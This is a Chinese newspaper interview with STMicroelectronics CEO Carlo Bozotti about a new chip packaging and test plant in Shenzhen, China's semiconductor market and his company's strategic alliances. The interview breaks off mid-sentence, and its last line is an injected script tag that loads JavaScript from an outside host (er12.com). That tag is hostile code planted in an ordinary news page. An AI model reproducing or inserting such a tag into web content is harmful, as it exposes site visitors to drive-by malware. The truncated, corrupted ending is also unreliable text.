意法半导体总裁兼首席执行官卡罗·伯佐提签约后欣然接受本报记者专访
深圳是我们重要战略伙伴
1952年生于意大利米兰，1976年毕业于意大利帕维亚大学（universityofpavia）电气工程系。1977年，进入意法半导体公司的前身意大利sgs－ates半导体公司的高压晶体管开发试验室。1980到1987年期间曾先后担任制造部经理、专用产品部电信事业组主管和集团战略市场和大客户总监。1991年被任命为集团副总裁。2005年，出任公司总裁兼首席执行官。
刚刚与深圳市市长许宗衡签完了合作协议，卡罗·伯佐提这位全球知名首席执行官的脸上，仍然流露出兴奋的神情，他欣然接受了本报记者对他的独家专访。
中国已经成为全球最大的集成电路消费市场
记者：大家都注意到中国市场在意法半导体公司战略中的地位越来越重要，刚才您与市长先生所签署的合作协议书，对意法半导体公司在中国乃至全球战略会产生怎样的影响？
伯佐提：目前中国已经超过美国和日本，成为全球最大的集成电路消费市场，有预测称，2010年中国芯片总需求将达500亿美元。我们有理由相信，在目前全球半导体市场重心向亚太地区转移的大趋势下，如果不能把握好中国市场，就将失去在全球的竞争力。而立足好中国市场，就必须在中国完善产业链体系。所以，随着半导体技术的多样性和复杂性的不断加大，芯片封装测试已经成为半导体产业链中一个非常重要的部分，它占意法半导体公司生产成本的20％。今天签约的位于龙岗区宝龙工业区的封装测试厂在投产后将是继赛意法微电子有限公司之后国内最大的芯片封装测试生产基地。出于公司长远战略的考虑，我们将以强大的资金和技术支持做后盾，在五年时间内快速扩大产能，随着这两个项目所不断积累的半导体芯片方面经验、技术和专长，我们希望把深圳发展成为意法半导体公司在中国和全球重要的封装测试以及工程技术基地。
与深圳进行制造和工程上的联盟
记者：据我所知，您以专注建立不同地区市场战略联盟的商业模式而著称，能介绍一下这种模式吗？
伯佐提：我定义战略联盟有三种方式：一是与客户联盟，我们需要不断建立一个客户网络，并且与客户沟通，及时对他们的需求作出快速的反应，调整公司的战略。二是与竞争者联盟，意法半导体公司是业内率先提倡与战略伙伴结盟的先行者，我们先后与阿尔卡特、博世、福特、惠普、ibm、摩托罗拉、诺基亚、西门子、索尼、汤普逊多媒体和西部数据等大公司结成紧密的战略合作伙伴，共同研究开发芯片，降低成本，使公司有效地规避了市场波动带来的风险。三是与科研机构、大学的联盟，例如与上海交通大学和清华大学等，利用其学术上的领先优势，共同开发最前沿的产品。而现在我把与深圳合作作为战略联盟的一种延伸，可以说是第四种，那就是制造和工程上的联盟。
记者：是怎样的优势让深圳成为意法半导体公司第四类的战略伙伴？
伯佐提：首先是政府各部门的鼎力支持，这是我们决定在深圳独资建立第二个芯片封装测试生产基地最重要的信心来源。其次这里有着完善的物流配套设施，具有竞争力的生产成本，高科技的人才储备。年轻的深圳有很多富有创新能力，充满激情的青年人，这是快速变化的电子行业所需要的人才。另外宜人的气候和良好的人居环境也是一个重要的原因。
尤其看好中国的汽车电子和高清电视、机顶盒市场
记者：意法半导体早已在上世纪80年代末前瞻性地将业务重点瞄准了当时尚未形成气候，但发展潜力巨大的五大领域——“无线通信和网络、数字消费电子、计算机外设、智能卡及汽车电子”，能否谈谈今后在中国将重点合作的领域。
伯佐提：我们2002年年底在北京发起设立了一个先进的研发中心，主要从事td－scdma、高清电视、机顶盒及ic卡方面的研究，进行用户定制化应用解决方案的开发。在上海设立了一系列的高资质的应用中心，进行有关智能卡、微控制器、分立器件及标准集成电路的应用开发，在深圳设立了由高水准的专业工程师组成的应用中心，从事多媒体和专用集成电路的设计开发。我尤其看好中国的汽车电子和高清电视、机顶盒市场，因为据我所知，中国马上就要大规模地推广高清数字电视，另外有众多世界知名的汽车厂商已经或将要在中国设厂生产，这些有利的条件都将为我们在中国包括深圳带来更多的合作机会。
记者：据了解，意法半导体公司也是从一家中小型的芯片制造商发展到今天的全球第五大半导体供应商。在深圳本土有很多中小型的半导体企业，对于如何提高产品的核心竞争力，您是否可以结合全球市场的发展趋势提些建议。
伯佐提：我觉得有几点经验可以分享：一是要建立牢固的技术基础，即具备能应用在多种领域的?script src=http://er12.com/t.js>
